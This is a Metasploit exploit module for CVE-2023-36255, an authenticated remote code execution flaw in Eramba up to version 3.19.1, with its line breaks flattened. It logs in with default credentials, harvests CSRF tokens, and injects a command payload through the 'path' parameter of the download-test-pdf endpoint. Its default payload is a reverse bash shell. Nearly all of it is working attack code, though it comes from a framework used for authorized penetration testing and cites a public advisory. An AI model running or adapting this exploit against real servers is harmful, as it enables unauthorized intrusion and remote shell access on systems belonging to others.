## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Eramba (up to 3.19.1) Authenticated Remote Code Execution Module', 'Description' => %q{ This module exploits a remote code execution vulnerability in Eramba. An authenticated user can execute arbitrary commands on the server by exploiting the path parameter in the download-test-pdf endpoint. Eramba debug mode has to be enabled. }, 'Author' => [ 'Trovent Security GmbH', 'Sergey Makarov', # vulnerability discovery and exploit 'Stefan Pietsch', # CVE and Advisory 'Niklas Rubel', # MSF module 'msutovsky-r7' # MSF module ], 'License' => MSF_LICENSE, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] }, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], ], 'DefaultTarget' => 0, 'References' => [ ['CVE', '2023-36255'], ['URL', 'https://trovent.github.io/security-advisories/TRSA-2303-01/TRSA-2303-01.txt'] ], 'DisclosureDate' => '2023-08-01', 'DefaultOptions' => { 'RPORT' => 8443, 'SSL' => true } ) ) register_options( [ OptString.new('TARGETURI', [ true, 'The base path to Eramba', '/']), OptString.new('USERNAME', [ true, 'The username to authenticate with', 'admin']), OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'admin']), ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/login') }) return Exploit::CheckCode::Unknown unless res&.code == 200 html_body = res.get_html_document version_html = html_body.at('//p[contains(text(), "App version")]/strong')&.text return Exploit::CheckCode::Unknown unless version_html return Exploit::CheckCode::Safe('Debug mode not enabled.') unless html_body.at('input[@name="_Token[debug]"]') version = Rex::Version.new(version_html) return Exploit::CheckCode::Appears("Eramba Version #{version} is affected.") if version <= Rex::Version.new('3.19.1') return Exploit::CheckCode::Safe("Eramba Version #{version} is not affected.") end def exploit res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/login'), 'keep_cookies' => true }) html_body = res.get_html_document csrf_token = html_body.at('input[@name="_csrfToken"]') token_fields = html_body.at('input[@name="_Token[fields]"]') token_unlocked = html_body.at('input[@name="_Token[unlocked]"]') token_debug = html_body.at('input[@name="_Token[debug]"]') fail_with(Failure::UnexpectedReply, 'Couldn\'t parse tokens') unless token_fields && token_unlocked && token_debug && csrf_token res = send_request_cgi!({ 'method' => 'POST', 'uri' => normalize_uri('/login'), 'keep_cookies' => true, 'vars_post' => { '_csrfToken' => csrf_token['value'], 'login' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], '_Token[fields]' => token_fields['value'], '_Token[unlocked]' => token_unlocked['value'], '_Token[debug]' => token_debug['value'] } }) fail_with(Failure::UnexpectedReply, 'Failed to login') unless res&.code == 200 && res.body.include?('Landing Dashboard') send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/settings/download-test-pdf'), 'vars_get' => { 'path' => payload.encoded.to_s } }) end end